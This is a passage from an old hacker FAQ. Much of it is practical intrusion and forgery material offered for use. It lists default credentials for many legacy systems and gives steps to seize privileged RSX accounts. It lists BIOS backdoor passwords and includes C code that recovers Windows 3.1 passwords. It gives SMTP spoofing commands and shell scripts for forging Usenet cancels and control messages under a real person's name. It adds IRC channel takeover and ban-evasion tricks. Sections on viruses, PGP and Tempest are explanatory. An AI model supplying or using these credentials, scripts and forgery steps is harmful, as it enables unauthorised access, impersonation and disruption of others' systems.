MMM MMM MMM MMM MMM MMM MMM MMM MMMMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM Copyright (c) Northern Telecom, 1991 Novell ONLAN ~~~~~~~~~~~~ <Control-A aka smiley face>N [To access the systems it is best to own a copy of ONLAN/PC] PC-Anywhere ~~~~~~~~~~~ <Control-A aka smiley face>P [To access the systems it is best to own a copy of PCAnywhere Remote] PRIMOS ~~~~~~ PRIMENET 19.2.7F PPOA1 <any text> ER! =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= CONNECT Primenet V 2.3 (system) LOGIN (you) User id? (system) SAPB5 (you) Password? (system) DROWSAP (you) OK, (system) ROLM CBX II ~~~~~~~~~~~ ROLM CBXII RELEASE 9004.2.34 RB295 9000D IBMHO27568 BIND DATE: 7/APR/93 COPYRIGHT 1980, 1993 ROLM COMPANY. ALL RIGHTS RESERVED. ROLM IS A REGISTERED TRADEMARK AND CBX IS A TRADEMARK OF ROLM COMPANY. YOU HAVE ENTERED CPU 1 12:38:47 ON WEDNESDAY 2/15/1995 USERNAME: op PASSWORD: INVALID USERNAME-PASSWORD PAIR ROLM-OSL ~~~~~~~~ MARAUDER10292 01/09/85(^G) 1 03/10/87 00:29:47 RELEASE 8003 OSL, PLEASE. ? ROLM PhoneMail ~~~~~~~~~~~~~~ ROLM PhoneMail 9252 9254 Microcode Version 4.2 Copyright (C) ROLM Systems 1991 All Rights Reserved. PM Login> PM Password> System75 ~~~~~~~~ Login: root INCORRECT LOGIN Login: browse Password: Software Version: G3s.b16.2.2 Terminal Type (513, 4410, 4425): [513] Tops-10 ~~~~~~~ NIH Timesharing NIH Tri-SMP 7.02-FF 16:30:04 TTY11 system 1378/1381/1453 Connected to Node Happy(40) Line # 12 Please LOGIN . VM/370 ~~~~~~ VM/370 ! VM/ESA ~~~~~~ VM/ESA ONLINE TBVM2 VM/ESA Rel 1.1 PUT 9200 Fill in your USERID and PASSWORD and press ENTER (Your password will not appear when you type it) USERID ===> PASSWORD ===> COMMAND ===> Xylogics Annex Communications Server ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Annex Command Line Interpreter * Copyright 1991 Xylogics, Inc. Checking authorization, Please wait... - Annex username: TNO - Optional security check Annex password: - Not always present Permission granted annex: --------------------------------------------------------------------------- A-18. What are the default accounts for XXX? AIX ~~~ guest guest AS/400 ~~~~~~ qsecofr qsecofr /* master security officer */ qsysopr qsysopr /* system operator */ qpgmr qpgmr /* default programmer */ also ibm password ibm 2222 ibm service qsecofr 1111111 qsecofr 2222222 qserv qserv qsvr qsvr secofr secofr qsrv ibmce1 DECserver ~~~~~~~~~ ACCESS SYSTEM Dynix (The library software, not the UnixOS) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ (Type 'later' to exit to the login prompt) setup <no password> library <no password> circ <Social Security Number> Hewlett Packard MPE-XL ~~~~~~~~~~~~~~~~~~~~~~ HELLO MANAGER.SYS HELLO MGR.SYS HELLO FIELD.SUPPORT HPUNSUP or SUPPORT or HP HELLO OP.OPERATOR MGR CAROLIAN MGR CCC MGR CNAS MGR CONV MGR COGNOS OPERATOR COGNOS MANAGER COGNOS OPERATOR DISC MGR HPDESK MGR HPWORD FIELD HPWORD MGR HPOFFICE SPOOLMAN HPOFFICE ADVMAIL HPOFFICE MAIL HPOFFICE WP HPOFFICE MANAGER HPOFFICE MGR HPONLY FIELD HPP187 MGR HPP187 MGR HPP189 MGR HPP196 MGR INTX3 MGR ITF3000 MANAGER ITF3000 MAIL MAIL MGR NETBASE MGR REGO MGR RJE MGR ROBELLE MANAGER SECURITY MGR SECURITY FIELD SERVICE MANAGER SYS MGR SYS PCUSER SYS RSBCMON SYS OPERATOR SYS OPERATOR SYSTEM FIELD SUPPORT OPERATOR SUPPORT MANAGER TCH MAIL TELESUP MANAGER TELESUP MGR TELESUP SYS TELESUP MGE VESOFT MGE VESOFT MGR WORD MGR XLSERVER Common jobs are Pub, Sys, Data Common passwords are HPOnly, TeleSup, HP, MPE, Manager, MGR, Remote Major BBS ~~~~~~~~~ Sysop Sysop Mitel PBX ~~~~~~~~~ SYSTEM NeXTSTEP ~~~~~~~~ root NeXT signa signa me me or <null> Nomadic Computing Environment (NCE) on the Tadpole Technologies SPARCBook3 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ fax <no password> PICK O/S ~~~~~~~~ DSA # Desquetop System Administrator DS DESQUETOP PHANTOM PRIMOS ~~~~~~ PRIME PRIME SYSTEM SYSTEM PRIMOS PRIMOS ADMIN ADMIN RJE RJE DEMO DEMO GAMES GAMES GUEST GUEST REGIST REGIST TEST TEST NETMAN NETMAN PRIRUN PRIRUN TOOLS TOOLS CMDNC0 CMDMNC0 Prolog ~~~~~~ PBX PBX NETWORK NETWORK NETOP <null> Radio Shack Screen Savers ~~~~~~~~~~~~~~~~~~~~~~~~~ RS<STORE_ID_NUMBER> Rolm ~~~~ CBX Defaults op op op operator su super admin pwp eng engineer PhoneMail Defaults sysadmin sysadmin tech tech poll tech RSX ~~~ SYSTEM/SYSTEM (Username SYSTEM, Password SYSTEM) 1,1/system (Directory [1,1] Password SYSTEM) BATCH/BATCH SYSTEM/MANAGER USER/USER Default accounts for Micro/RSX: MICRO/RSX Alternately you can hit <CTRL-Z> when the boot sequence asks you for the date and create an account using: RUN ACNT or RUN $ACNT (Numbers below 10 {oct} are privileged) Reboot and wait for the date/time question. Type ^C and at the MCR prompt, type "abo at." You must include the . dot! If this works, type "acs lb0:/blks=1000" to get some swap space so the new step won't wedge. type " run $acnt" and change the password of any account with a group number of 7 or less. You may find that the ^C does not work. Try ^Z and ESC as well. Also try all 3 as terminators to valid and invalid times. If none of the above work, use the halt switch to halt the system, just after a invalid date-time. Look for a user mode PSW 1[4-7]xxxx. then deposit 177777 into R6, cross your fingers, write protect the drive and continue the system. This will hopefully result in indirect blowing up... And hopefully the system has not been fully secured. SGI Irix ~~~~~~~~ 4DGifts <no password> guest <no password> demos <no password> lp <no password> nuucp <no password> tour <no password> tutor <no password> System 75 ~~~~~~~~~ bcim bcimpw bciim bciimpw bcms bcmspw, bcms bcnas bcnspw blue bluepw browse looker, browsepw craft crftpw, craftpw, crack cust custpw enquiry enquirypw field support inads indspw, inadspw, inads init initpw kraft kraftpw locate locatepw maint maintpw, rwmaint nms nmspw rcust rcustpw support supportpw tech field Taco Bell ~~~~~~~~~ rgm rollout tacobell <null> Verifone Junior 2.05 ~~~~~~~~~~~~~~~~~~~~ Default password: 166816 VMS ~~~ field service systest utep XON / XON Junior ~~~~~~~~~~~~~~~~ Default password: 166831 --------------------------------------------------------------------------- A-19. What is a trojan/worm/virus/logic bomb? This FAQ answer was written by Theora: Trojan: Remember the Trojan Horse? Bad guys hid inside it until they could get into the city to do their evil deed. A trojan computer program is similar. It is a program which does an unauthorized function, hidden inside an authorized program. It does something other than what it claims to do, usually something malicious (although not necessarily!), and it is intended by the author to do whatever it does. If it's not intentional, its called a 'bug' or, in some cases, a feature :) Some virus scanning programs detect some trojans. Some virus scanning programs don't detect any trojans. No virus scanners detect all trojans. Virus: A virus is an independent program which reproduces itself. It may attach to other programs, it may create copies of itself (as in companion viruses). It may damage or corrupt data, change data, or degrade the performance of your system by utilizing resources such as memory or disk space. Some virus scanners detect some viruses. No virus scanners detect all viruses. No virus scanner can protect against "any and all viruses, known and unknown, now and forevermore". Worm: Made famous by Robert Morris, Jr., worms are programs which reproduce by copying themselves over and over, system to system, using up resources and sometimes slowing down the systems. They are self contained and use the networks to spread, in much the same way viruses use files to spread. Some people say the solution to viruses and worms is to just not have any files or networks. They are probably correct. We would include computers. Logic Bomb: Code which will trigger a particular form of 'attack' when a designated condition is met. For instance, a logic bomb could delete all files on Dec. 5th. Unlike a virus, a logic bomb does not make copies of itself. --------------------------------------------------------------------------- A-20. How can I protect myself from viruses and such? This FAQ answer was written by Theora: The most common viruses are boot sector infectors. You can help protect yourself against those by write protecting all disks which you do not need write access to. Definitely keep a set of write protected floppy system disks. If you get a virus, it will make things much simpler. And, they are good for coasters. Only kidding. Scan all incoming files with a recent copy of a good virus scanner. Among the best are F-Prot, Dr. Solomon's Anti-virus Toolkit, and Thunderbyte Anti-Virus. AVP is also a good program. Using more than one scanner could be helpful. You may get those one or two viruses that the other guy happened to miss this month. New viruses come out at the rate of about 8 per day now. NO scanner can keep up with them all, but the four mentioned here do the best job of keeping current. Any _good_ scanner will detect the majority of common viruses. No virus scanner will detect all viruses. Right now there are about 5600 known viruses. New ones are written all the time. If you use a scanner for virus detection, you need to make sure you get frequent updates. If you rely on behavior blockers, you should know that such programs can be bypassed easily by a technique known as tunnelling. You may want to use integrity checkers as well as scanners. Keep in mind that while these can supply added protection, they are not foolproof. You may want to use a particular kind of scanner, called resident scanners. Those are programs which stay resident in the computer memory and constantly monitor program execution (and sometimes even access to the files containing programs). If you try to execute a program, the resident scanner receives control and scans it first for known viruses. Only if no such viruses are found, the program is allowed to execute. Most virus scanners will not protect you against many kinds of trojans, any sort of logic bombs, or worms. Theoretically, they _could_ protect you against logic bombs and/or worms, by addition of scanning strings; however, this is rarely done. The best, actually only way, to protect yourself is to know what you have on your system and make sure what you have there is authorized by you. Make frequent backups of all important files. Keep your DOS system files write protected. Write protect all disks that you do not need to write to. If you do get a virus, don't panic. Call the support department of the company who supplies your anti-virus product if you aren't sure of what you are doing. If the company you got your anti- virus software from does not have a good technical support department, change companies. The best way to make sure viruses are not spread is not to spread them. Some people do this intentionally. We discourage this. Viruses aren't cool. --------------------------------------------------------------------------- A-21. Where can I get more information about viruses? This FAQ answer was written by Theora: Assembly language programming books illustrate the (boring) aspect of replication and have for a long time. The most exciting/interesting thing about viruses is all the controversy around them. Free speech, legality, and cute payloads are a lot more interesting than "find first, find next" calls. You can get information about the technical aspects of viruses, as well as help if you should happen to get a virus, from the virus-l FAQ, posted on comp. virus every so often. You can also pick up on the various debates there. There are alt.virus type newsgroups, but the level of technical expertise is minimal, and so far at least there has not been a lot of real "help" for people who want to get - rid- of a virus. There are a lot of virus experts. To become one, just call yourself one. Only Kidding. Understanding viruses involves understanding programming, operating systems, and their interaction. Understanding all of the 'Cult of Virus' business requires a lot of discernment. There are a number of good papers available on viruses, and the Cult of Virus; you can get information on them from just about anyone listed in the virus-l FAQ. The FTP site ftp.informatik.uni-hamburg.de is a pretty reliable site for programs and text. --------------------------------------------------------------------------- A-22. What is Cryptoxxxxxxx? This FAQ answer is excerpted from: Computer Security Basics by Deborah Russell and G.T. Gengemi Sr. A message is called either plaintext or cleartext. The process of disguising a message in such a way as to hide its substance is called encryption. An encrypted message is called ciphertext. The process of turning ciphertext back into plaintext is called decryption. The art and science of keeping messages secure is called cryptography, and it is practiced by cryptographers. Cryptanalysts are practitioners of cryptanalysis, the art and science of breaking ciphertext, i.e. seeing through the disguise. The branch of mathematics embodying both cryptography and cryptanalysis is called cryptology, and it's practitioners are called cryptologists. --------------------------------------------------------------------------- A-23. What is PGP? This FAQ answer is excerpted from: PGP(tm) User's Guide Volume I: Essential Topics by Philip Zimmermann PGP(tm) uses public-key encryption to protect E-mail and data files. Communicate securely with people you've never met, with no secure channels needed for prior exchange of keys. PGP is well featured and fast, with sophisticated key management, digital signatures, data compression, and good ergonomic design. Pretty Good(tm) Privacy (PGP), from Phil's Pretty Good Software, is a high security cryptographic software application for MS-DOS, Unix, VAX/VMS, and other computers. PGP allows people to exchange files or messages with privacy, authentication, and convenience. Privacy means that only those intended to receive a message can read it. Authentication means that messages that appear to be from a particular person can only have originated from that person. Convenience means that privacy and authentication are provided without the hassles of managing keys associated with conventional cryptographic software. No secure channels are needed to exchange keys between users, which makes PGP much easier to use. This is because PGP is based on a powerful new technology called "public key" cryptography. PGP combines the convenience of the Rivest-Shamir-Adleman (RSA) public key cryptosystem with the speed of conventional cryptography, message digests for digital signatures, data compression before encryption, good ergonomic design, and sophisticated key management. And PGP performs the public-key functions faster than most other software implementations. PGP is public key cryptography for the masses. --------------------------------------------------------------------------- A-24. What is Tempest? Tempest stands for Transient Electromagnetic Pulse Surveillance Technology. Computers and other electronic equipment release interference to their surrounding environment. You may observe this by placing two video monitors close together. The pictures will behave erratically until you space them apart. What is important for an observer is the emission of digital pulses (1s and 0s) as these are used in computers. The channel for this radiation is in two arrangements, radiated emissions and conducted emissions. Radiated emissions are assembled when components in electrical devices form to act as antennas. Conducted emissions are formed when radiation is conducted along cables and wires. Although most of the time these emissions are simply annoyances, they can sometimes be very helpful. Suppose we wanted to see what project a target was working on. We could sit in a van outside her office and use sensitive electronic equipment to attempt to pick up and decipher the radiated emissions from her video monitor. These emissions normally exist at around 55-245 Mhz and can be picked up as far as one kilometer away. A monitoring device can distinguish between different sources emitting radiation because the sources emanating the radiation are made up of dissimilar elements and so this coupled with other factors varies the emitted frequency. For example different electronic components in VDUs, different manufacturing processes involved in reproducing the VDUs, different line syncs, etc... By synchronizing our raster with the targets raster we can passively draw the observed screen in real-time. This technology can be acquired by anyone, not just government agencies. The target could shield the emissions from her equipment or use equipment that does not generate strong emissions. However, Tempest equipment is not legal for civilian use in the United States. Tempest is the US Government program for evaluation and endorsement of electronic equipment that is safe from eavesdropping. Tempest certification refers to the equipment having passed a testing phase and agreeing to emanations rules specified in the government document NACSIM 5100A (Classified). This document sets forth the emanation levels that the US Government believes equipment can give off without compromising the information it is processing. --------------------------------------------------------------------------- A-25. How do I defeat Copy Protection? There are two common methods of defeating copy protection. The first is to use a program that removes copy protection. Popular programs that do this are CopyIIPC from Central Point Software and CopyWrite from Quaid Software. The second method involves patching the copy protected program. For popular software, you may be able to locate a ready made patch. You can them apply the patch using any hex editor, such as debug or the Peter Norton's DiskEdit. If you cannot, you must patch the software yourself. Writing a patch requires a debugger or a disassembler. It also requires some knowledge of assembly language. Load the protected program under the debugger and watch for it to check the protection mechanism. When it does, change that portion of the code. The code can be changed from JE (Jump on Equal) or JNE (Jump On Not Equal) to JMP (Jump Unconditionally). Or the code may simply be replaced with NOP (No Operation) instructions. --------------------------------------------------------------------------- A-26. What are some available debuggers and disassemblers? Debuggers ~~~~~~~~~ Soft-Ice ($439) Soft-Ice for Windows ($329) Soft-Ice for Windows95 ($329) Soft-Ice for WindowsNT ($329) Nu-Mega Technologies, Inc. 9 Townsend West Nashua, NH 03063 http://www.numega.com ftp://ftp.numega.com (603)889-2386 (800)468-6342 D86 - Eric Isaacson's ShareWare debugger ftp://ftp.cdrom.com/pub/simtelnet/msdos/asmutl/d86v402.zip BrandX full-screen debugger ftp://ftp.cdrom.com/pub/simtelnet/msdos/asmutl/bxd26.zip Disassemblers ~~~~~~~~~~~~~ Sourcer ($95) V Communications, Inc. 4320 Stevens Creek Boulevard Suite 120 San Jose, CA 95129 (408)296-4224 (408)296-4441 Fax http://www.v-com.com/showcase.html#sourcer E-mail: sales@v-com.com IDA (Interactive Disassembler) ftp://ftp.kiae.su/.1/msdos/language/asm/dis/ida304.zip --------------------------------------------------------------------------- A-27. How do I defeat a BIOS password? This depends on what BIOS the machine has. Common BIOS's include AMI, Award, IBM and Phoenix. Numerous other BIOS's do exist, but these are the most common. Some BIOS's allow you to require a password be entered before the system will boot. Some BIOS's allow you to require a password to be entered before the BIOS setup may be accessed. Every BIOS must store this password information somewhere. If you are able to access the machine after it has been booted successfully, you may be able to view the password. You must know the memory address where the password is stored, and the format in which the password is stored. Or, you must have a program that knows these things. You can write your own program to read the CMOS memory on a PC by writing the address of the byte of CMOS memory that you wish to read in port 0x370, and then reading the contents of port 0x371. [Note from Screech: I've always thought that it was 0x70 and 0x71 H.] [Note from qu@f.f: You're correct that the FAQ's incorrect H.] The most common pre-written BIOS password attack programs are for AMI BIOS. Some password attack programs will return the AMI BIOS password in plain text, some will return it in ASCII codes, some will return it in scan codes. This appears to be dependent not just on the password attacker, but also on the version of AMI BIOS. To obtain AMI BIOS password attackers, ftp to oak.oakland.edu /pub/simtelnet/msdos/sysutl/. Award BIOS appears not to store the BIOS password, but instead only stores a two byte checksum of the BIOS password. This means that any other password with the same checksum will work just as well as the original password. In addition, Award BIOS seems to implement backdoor passwords. One backdoor password is eight spaces. Other backdoor passwords are "AWARD_SW", "AWARD_PW", "589589", "condo", "j262", "KDD", "ZBAAACA", "ZAAAADA", and "ZJAAADC." Remember that these may not be the actual backdoor passwords, these passwords may simply have the same checksum as the actual backdoor passwords. This checksum is stored at F000:EC60. If you cannot access the machine after if has been powered up, it is still possible to get past the password. The password is stored in CMOS memory that is maintained while the PC is powered off by a small battery, which is attached to the motherboard. If you remove this battery, all CMOS information will be lost. You will need to re-enter the correct CMOS setup information to use the machine. The machines owner or user will most likely be alarmed when it is discovered that the BIOS password has been deleted. On some motherboards, the battery is soldered to the motherboard, making it difficult to remove. If this is the case, you have another alternative. Somewhere on the motherboard you should find a jumper that will clear the BIOS password. If you have the motherboard documentation, you will know where that jumper is. If not, the jumper may be labeled on the motherboard. If you are not fortunate enough for either of these to be the case, you may be able to guess which jumper is the correct jumper. This jumper is usually standing alone near the battery. If you cannot locate this jumper, you might short both of the points where the battery connects to the motherboard. Several people have reported positive results from doing this, but I haven't wanted to test it on any of my own motherboards. [Note from Dan Mellem: Another technique is to short out the battery for a few seconds. H.] [Note from Bluefish: In the !BIOS section you ought to list !BIOS and Greniers tools. http://www.11a.nu/ http://www.esiea.fr/public_html/Christophe.GRENIER/ H.] --------------------------------------------------------------------------- A-28. What is the password for <encrypted file>? This FAQ answer was written by crypt <crypt@nyongwa.montreal.qc.ca> Magazine Password ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~ VLAD Magazine Issue #1 vlad VLAD Magazine Issue #2 vx VLAD Magazine Issue #3 virus NuKE InfoJournal Issue #2 514738 NuKE InfoJournal Issue #3 power NuKE InfoJournal Issue #4 party Program ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~ Sphere Hacker 1.40 & 1.41 theozone Virus Creation 2000 high level Virus Construction Lab Chiba City Ejecutor Virus Creator EJECUTOR Biological Warfare v0.90 lo tek Biological Warfare v1.00 freak --------------------------------------------------------------------------- A-29. Is there any hope of a decompiler that would convert an executable program into C/C++ code? This FAQ answer is an excerpt from SNIPPETS by Bob Stout: Don't hold your breath. Think about it... For a decompiler to work properly, either 1) every compiler would have to generate substantially identical code, even with full optimization turned on, or 2) it would have to recognize the individual output of every compiler's code generator. If the first case were to be correct, there would be no more need for compiler benchmarks since every one would work the same. For the second case to be true would require in immensely complex program that had to change with every new compiler release. OK, so what about specific decompilers for specific compilers - say a decompiler designed to only work on code generated by, say, BC++ 4.5? This gets us right back to the optimization issue. Code written for clarity and understandability is often inefficient. Code written for maximum performance (speed or size) is often cryptic (at best!) Add to this the fact that all modern compilers have a multitude of optimization switches to control which optimization techniques to enable and which to avoid. The bottom line is that, for a reasonably large, complex source module, you can get the compiler to produce a number of different object modules simply by changing your optimization switches, so your decompiler will also have to be a deoptimizer which can automagically recognize which optimization strategies were enabled at compile time. OK, let's simplify further and specify that you only want to support one specific compiler and you want to decompile to the most logical source code without trying to interpret the optimization. What then? A good optimizer can and will substantially rewrite the internals of your code, so what you get out of your decompiler will be, not only cryptic, but in many cases, riddled with goto statements and other no-no's of good coding practice. At this point, you have decompiled source, but what good is it? Also note carefully my reference to source modules. One characteristic of C is that it becomes largely unreadable unless broken into easily maintainable source modules (.C files). How will the decompiler deal with that? It could either try to decompile the whole program into some mammoth main() function, losing all modularity, or it could try to place each called function into its own file. The first way would generate unusable chaos and the second would run into problems where the original source hade files with multiple functions using static data and/or one or more functions calling one or more static functions. A decompiler could make static data and/or functions global but only at the expense or readability (which would already be unacceptable). Finally, remember that commercial applications often code the most difficult or time-critical functions in assembler which could prove almost impossible to decompile into a C equivalent. Like I said, don't hold your breath. As technology improves to where decompilers may become more feasible, optimizers and languages (C++, for example, would be a significantly tougher language to decompile than C) also conspire to make them less likely. For years Unix applications have been distributed in shrouded source form (machine but not human readable -- all comments and whitespace removed, variables names all in the form OOIIOIOI, etc.), which has been a quite adequate means of protecting the author's rights. It's very unlikely that decompiler output would even be as readable as shrouded source. For more information, check out http://csee.uq.edu.au/csm/decompilation/. --------------------------------------------------------------------------- A-30. How does the MS-Windows password encryption work? This FAQ answer was written by Wayne Hoxsie <hoxsiew@crl.com>: The password option in MS Win 3.1 is easily defeated, but there are those of us who really want to know how MS does this. There are many reasons why knowing the actual password can be useful. Suppose a sysamin used the same password in the windows screen saver as his root account on a unix box. Anyway, I will attempt to relay what I have learned about this algorithm. I will describe the process starting after you've entered the password and hit the [OK] button. I will make the assumtion that everyone (at least those interested) know what the XOR operation is. First, the length of the password is saved. We'll call this 'len'. We will be moving characters from the entered string into another string as they are encrypted. We'll call the originally entered password 'plaintext' and the encrypted string(strings--there are two passes) 'hash1' and 'hash2.' The position in the plaintext is important during the process so we'll refer to this as 'pos.' After each step of the hashing process, the character is checked against a set of characters that windows considers 'special.' These characters are '[ ] =' and any character below ASCII 33 or above ASCII 126. I'll refer to this checking operation as 'is_ok.' All indecies are zero-based (i.e. an 8 character password is considered chars 0 to 7). Now, the first character of 'plaintext' is xor'd with 'len' then fed to 'is_ok'. if the character is not valid, it is replaced by the original character of 'plaintext' before going to the next operation. The next operation is to xor with 'pos' (this is useless for the first operation since 'len' is 0 and anything xor'd with zero is itself) then fed to 'is_ok' and replaced with the original if not valid. The final operation (per character) is to xor it with the previous character of 'plaintext'. Since there is no previous character, the fixed value, 42, is used on the first character of 'plaintext'. This is then fed to 'is_ok' and if OK, it is stored into the first position of 'hash1' This process proceeds until all characters of plaintext are exhausted. The second pass is very similar, only now, the starting point is the last character in hash1 and the results are placed into hash2 from the end to the beginning. Also, instead of using the previous character in the final xoring, the character following the current character is used. Since there is no character following the last character in hash1, the value, 42 is again used for the last character. 'hash2' is the final string and this is what windows saves in the file CONTROL.INI. To 'decrypt' the password, the above procedure is just reversed. Now, what you've all been waiting for. Here is some C code that will do the dirty work for you: #include <stdlib.h> #include <stdio.h> #include <string.h> int xor1(int i,int j) { int x; x=i^j; return (x>126||x<33||x==91||x==93||x==61)?i:x; } void main() { FILE *f; int i,l; char s[80],s1[80]; printf("Please enter the path to your Windows directory\n"); gets(s1); sprintf(s,"%s%scontrol.ini",s1,s1[strlen(s1)-1]=='\\'?"":"\\"); if((f=fopen(s,"rt"))==NULL){ printf("File Error : %s\n",sys_errlist[errno]); exit(0); } while(strnicmp(fgets(s1,70,f),"password",8)!=0&&!feof(f)); fclose(f); strtok(s1,"=\n"); strcpy(s,strtok(NULL,"\n")); i=strlen(s)-1; for(l=i;l>-1;l--) s1[l]=xor1(xor1(xor1(s[l],l==i?42:s[l+1]),l==i?0:l),i+1); for(l=0;l<i+1;l++) s[l]=xor1(xor1(xor1(s1[l],l?s1[l-1]:42),l?l:0),i+1); printf("The Password is: %s\n",s); } =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-= Section B -- Data Networks =-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= B-01. How do I send fakemail? Telnet to port 25 of the machine you want the mail to appear to originate from. This will connect you directly to the SMTP (Simple Mail Transfer Protocol) daemon running on that host. Then, enter SMTP commands by hand directly to the SMTP daemon. Enter your message as in this example: HELO bellcore.com MAIL FROM:voyager@bellcore.com RCPT TO:president@whitehouse.gov DATA Date: Thu, 31 Dec 1998 12:16:35 -0500 (EST) From: voyager@bellcore.com (The Voyager) To: president@whitehouse.gov Subject: Clipper Reply-To: voyager@bellcore.com Please discontinue your silly Clipper initiative. . QUIT On systems that have RFC 931 implemented, spoofing your "MAIL FROM:" line will not work. Test by sending yourself fakemail first. Newer SMTP daemons, such as smail or sendmail 8.7+, perform an identd check when you connect to them. These SMTP daemons are impossible to completely spoof without first spoofing identd. For more information read RFC 822 (Standard for the format of ARPA Internet text messages). Note that the headers inside the DATA statement should be optional, but are actually required by some mailers. Even when not required, they often help your message appear genuine. To locate an SMTP server for a domain, use `nslookup` and set your querytype to MX. --------------------------------------------------------------------------- B-02. How do I fake posts and control messages to Usenet? From: Anonymous (Pretending to be: tale@uunet.uu.net (David C Lawrence)) Subject: FAQ: Better living through forgery Date: 19 Mar 1995 02:37:09 GMT Anonymous netnews without "anonymous" remailers Inspired by the recent "NetNews Judges-L" events, this file has been updated to cover forging control messages, so you can do your own article canceling and create and destroy your own newsgroups. Save any news article to a file. We'll call it "hak" in this example. Edit "hak", and remove any header lines of the form From some!random!path!user (note: "From ", not "From: "!!!) Article: Lines: Xref: Shorten the Path: header down to its LAST two or three "bangized" components. This is to make the article look like it was posted from where it really was posted, and originally hit the net at or near the host you send it to. Or you can construct a completely new Path: line to reflect your assumed alias. Make some change to the Message-ID: field, that isn't likely to be duplicated anywhere. This is usually best done by adding a couple of random characters to the part before the @, since news posting programs generally use a fixed-length field to generate these IDs. Change the other headers to say what you like -- From:, Newsgroups:, Sender:, etc. Replace the original message text with your message. If you are posting to a moderated group or posting a control message, remember to put in an Approved: header to bypass the moderation mechanism. To specifically cancel someone else's article, you need its message- ID. Your message headers, in addition to what's already there, should also contain the following with that message-ID in it. This makes it a "control message". NOTE: control messages generally require an Approved: header as well, so you should add one. Subject: cmsg cancel <xb8700A@twits.site.com> Control: cancel <xb8700A@twits.site.com> Approved: luser@twits.site.com Newsgroups are created and destroyed with control messages, too. If you wanted to create, for instance, comp.misc.microsoft.sucks, your control headers would look like Subject: cmsg newgroup comp.misc.microsoft.sucks Control: newgroup comp.misc.microsoft.sucks Add on the string "moderated" at the end of these if you want the group to be "moderated with no moderator" as with alt.hackers. Somewhere in the body of your message, you should include the following text, changed with the description of the group you're creating: For your newsgroups file: comp.misc.microsoft.sucks We don't do windows To remove a group, substitute "rmgroup" for "newgroup" in the header lines above. Keep in mind that most sites run all "rmgroup" requests through a human news-master, who may or may not decide to honor it. Group creation is more likely to be automatic than deletion at most installations. Any newsgroup changes are more likely to take effect if the come from me, since my name is hardwired into many of the NNTP control scripts, so using the From: and Approved: headers from this posting is recommended. Save your changed article, check it to make sure it contains NO reference to yourself or your own site, and send it to your favorite NNTP server that permits transfers via the IHAVE command, using the following script: ======================= #! /bin/sh ## Post an article via IHAVE. ## args: filename server if test "$2" = "" ; then echo usage: $0 filename server exit 1 fi if test ! -f $1 ; then echo $1: not found exit 1 fi # suck msg-id out of headers, keep the brackets msgid=`sed -e '/^$/,$d' $1 | egrep '^[Mm]essage-[Ii][Dd]: ' | \ sed 's/.*-[Ii][Dd]: //'` echo $msgid ( sleep 5 echo IHAVE $msgid sleep 5 cat $1 sleep 1 echo "." sleep 1 echo QUIT ) | telnet $2 119 ======================= If your article doesn't appear in a day or two, try a different server. They are easy to find. Here's a script that will break a large file full of saved netnews into a list of hosts to try. Edit the output of this if you want, to remove obvious peoples' names and other trash. ======================= #! /bin/sh FGV='fgrep -i -v' egrep '^Path: ' $1 | sed -e 's/^Path: //' -e 's/!/\ /g' | sort -u | fgrep . | $FGV .bitnet | $FGV .uucp ======================= Once you have your host list, feed it to the following script. ======================= #! /bin/sh while read xx ; do if test "$xx" = "" ; then continue; fi echo === $xx ( echo open $xx 119 sleep 5 echo ihave IamSOk00l@podunk.edu sleep 4 echo . echo quit sleep 1 echo quit ) | telnet done ======================= If the above script is called "findem" and you're using csh, you should do findem < list >& outfile so that ALL output from telnet is captured. This takes a long time, but when it finishes, edit "outfile" and look for occurrences of "335". These mark answers from servers that might be willing to accept an article. This isn't a completely reliable indication, since some servers respond with acceptance and later drop articles. Try a given server with a slightly modified repeat of someone else's message, and see if it eventually appears. Sometimes the telnets get into an odd state, and freeze, particularly when a host is refusing NNTP connections. If you manually kill these hung telnet processes but not the main script, the script will continue on. In other words, you may have to monitor the finding script a little while it is running. You will notice other servers that don't necessarily take an IHAVE, but say "posting ok". You can probably do regular POSTS through these, but they will add an "NNTP-Posting-Host: " header containing the machine YOU came from and are therefore unsuitable for completely anonymous use. PLEASE USE THE INFORMATION IN THIS ARTICLE FOR CONSTRUCTIVE PURPOSES ONLY. --------------------------------------------------------------------------- B-03. How do I hack ChanOp on IRC? Find a server that is split from the rest of IRC and create your own channel there using the name of the channel you want ChanOp on. When that server reconnects to the net, you will have ChanOp on the real channel. If you have ServerOp on a server, you can cause it to split on purpose. --------------------------------------------------------------------------- B-04. How do I modify the IRC client to hide my real username? Note: This FAQ answer was written by someone else, but I do not know who. If you know who originally wrote this, please e-mail me. -- BEGIN QUOTED TEXT -- Applying these changes to the source code for your ircII client and recompiling gives you a new ircII command: /NEWUSER. This new command can be used as follows: * /NEWUSER <new_username> [new_IRCNAME] * <new_username> is a new username to use and is required * [new_IRCNAME] is a new IRCNAME string to use and is optional * This will disconnect you from your server and reconnect using * the new information given. You will rejoin all channel you * are currently on and keep your current nickname. The effect is basically changing your username/IRCname on the fly. Although you are disconnected from your server and reconnected, the ircII client is never exited, thus keeping all your state information and aliases intact. This is ideal for bots that wish to be REALLY obnoxious in ban evasion. ;) As this is now a new command in ircII, it can be used in scripts. Be aware that the reconnect associated with the NEWUSER command takes time, so TIMER any commands that must immediately follow the NEWUSER. For example... ban evasion made easy (but beware infinite reconnects when your site is banned): on ^474 * { echo *** Banned from channel $1 if ($N == [AnnMurray]) { nick $randomstring join $1 } { nick AnnMurray newuser $randomstring timer 5 join $1 } } Or just to be annoying... a /BE <nickname> alias that will assume a person's 